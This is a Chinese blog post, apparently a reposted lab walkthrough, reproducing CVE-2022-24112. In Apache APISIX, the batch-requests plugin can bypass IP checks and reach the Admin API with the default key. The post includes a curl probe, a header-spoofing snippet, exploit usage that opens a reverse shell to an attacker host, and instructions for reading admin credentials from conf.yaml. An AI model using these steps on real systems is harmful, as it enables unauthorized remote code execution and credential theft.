CVE-2022-24112 Apache APISIX 命令执行漏洞复现

在这里插入图片描述

CVE-2022-24112 Apache APISIX 命令执行漏洞

Apache APISIX 是 Apache 软件基金会下的云原生 API 网关,它兼具动态、实时、高性能等特点,提供了负载均衡、动态上游、灰度发布(金丝雀发布)、服务熔断、身份认证、可观测性等丰富的流量管理功能

在启用 Apache APISIX batch-requests 插件后,攻击者通过 batch-requests 插件绕过 Apache APISIX 数据面板的 IP 限制(如绕过 IP 黑白名单限制)。如果用户使用 Apache APISIX 默认配置(启用 Admin API ,使用默认 Admin Key 且没有额外分配管理端口),攻击者可以通过 batch-requests 插件调用 Admin API ,导致远程代码执行

漏洞环境:CVE-2022-24112:Apache APISIX 命令执行漏洞

环境启动后访问 9000 端口,可以使用 curl 命令确认漏洞存在

ocean@OceandeMBP ~ % curl 'http://192.168.186.148:9080/apisix/admin/routes?api_key=edd1c9f034335f136f87ad84b625c8f1' -i
HTTP/1.1 200 OK
Date: Fri, 24 Mar 2023 03:27:45 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Connection: keep-alive
Server: APISIX/2.12.0
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: *
Access-Control-Max-Age: 3600

{
    
    "action":"get","count":0,"node":{
    
    "dir":true,"key":"\/apisix\/routes","nodes":{
    
    }}}

poc:https://github.com/twseptian/cve-2022-24112

poc 主要的思路就是通过传参绕过IP校验 + 使用默认API KEY值调用Admin API

        json_data = {
    
    
            'headers': {
    
    
                'X-Real-IP': '{}:8080'.format(target_ip),
                'X-API-KEY': 'edd1c9f034335f136f87ad84b625c8f1',
                'Content-Type': 'application/json',
            }

然后使用PUT请求添加路由,触发filter_func()执行其中的lua代码,利用上述EXP进行攻击,命令格式如下:

python3 exp.py -t 受害者主机 -p 服务运行的端口 -L 攻击者主机 -P 接受反弹Shell的端口

截屏2023-03-24 11.47.38

Apisix 后台密码存储在 api/conf/conf.yaml 文件中,可以通过命令执行读取文件拿到

截屏2023-03-24 11.52.52

登陆后台可以看到其添加的一条路由列表,在filter_func()函数中,调用了lua的系统目录执行语句os.execute()进行反弹shell

截屏2023-03-24 11.54.21
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/q20010619/article/details/130010983